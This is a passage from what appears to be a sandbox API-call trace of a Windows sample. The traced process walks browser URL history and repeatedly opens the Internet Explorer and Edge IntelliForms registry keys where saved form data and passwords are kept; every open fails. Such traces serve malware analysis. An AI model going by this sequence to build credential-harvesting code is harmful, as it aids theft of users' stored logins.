hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.632] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.632] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.632] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.632] CoTaskMemFree (pv=0x76c958) [0053.632] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.632] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/Y9Gto.mkv", lpSrch="?") returned 0x0 [0053.632] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/Y9Gto.mkv") returned 59 [0053.632] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.632] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.633] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.633] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.633] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.633] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.633] CoTaskMemFree (pv=0x748f10) [0053.633] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.633] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/Wd12rupgHhCUMFm4WRm-.png", lpSrch="?") returned 0x0 [0053.633] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/Wd12rupgHhCUMFm4WRm-.png") returned 79 [0053.633] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.633] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.633] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.633] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.633] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.633] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.633] CoTaskMemFree (pv=0x758f58) [0053.633] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.634] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/U6_iaAjYZi.bmp", lpSrch="?") returned 0x0 [0053.634] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/U6_iaAjYZi.bmp") returned 69 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.634] CoTaskMemFree (pv=0x76a938) [0053.634] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.634] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/UrnVexVTN.jpg", lpSrch="?") returned 0x0 [0053.634] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/UrnVexVTN.jpg") returned 89 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.634] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.635] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.635] CoTaskMemFree (pv=0x7575a0) [0053.635] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.635] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/Anej262H4hu3zyirkUH.ppt", lpSrch="?") returned 0x0 [0053.635] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/Anej262H4hu3zyirkUH.ppt") returned 85 [0053.635] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.635] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.635] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.635] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.635] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.635] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.635] CoTaskMemFree (pv=0x751230) [0053.635] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.635] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/ieeYHL-dYv.png", lpSrch="?") returned 0x0 [0053.635] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/ieeYHL-dYv.png") returned 64 [0053.635] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.635] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.636] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.636] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.636] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.636] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.636] CoTaskMemFree (pv=0x760c60) [0053.636] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.636] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/bKfveCNS2G8khnM4C.pps", lpSrch="?") returned 0x0 [0053.636] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/bKfveCNS2G8khnM4C.pps") returned 96 [0053.636] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.636] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.636] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.636] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.636] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.636] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.636] CoTaskMemFree (pv=0x7683c8) [0053.636] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.637] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/xTvos8hXvdkwZlFp2.odt", lpSrch="?") returned 0x0 [0053.637] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/xTvos8hXvdkwZlFp2.odt") returned 63 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.637] CoTaskMemFree (pv=0x736608) [0053.637] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.637] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/JbHJ.gif", lpSrch="?") returned 0x0 [0053.637] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/JbHJ.gif") returned 63 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.637] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.638] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.638] CoTaskMemFree (pv=0x7367a0) [0053.638] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.638] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/5U0Uje3nOh1.mkv", lpSrch="?") returned 0x0 [0053.638] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/5U0Uje3nOh1.mkv") returned 57 [0053.638] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.638] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.638] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.638] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.638] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.639] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.639] CoTaskMemFree (pv=0x749390) [0053.639] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.639] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/fPFgz-1D5yQIS3tV.png", lpSrch="?") returned 0x0 [0053.639] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/fPFgz-1D5yQIS3tV.png") returned 62 [0053.639] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.639] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.639] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.639] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.639] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.639] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.639] CoTaskMemFree (pv=0x736938) [0053.639] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.639] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/h6rzILMxje9AG.odt", lpSrch="?") returned 0x0 [0053.639] lstrlenW 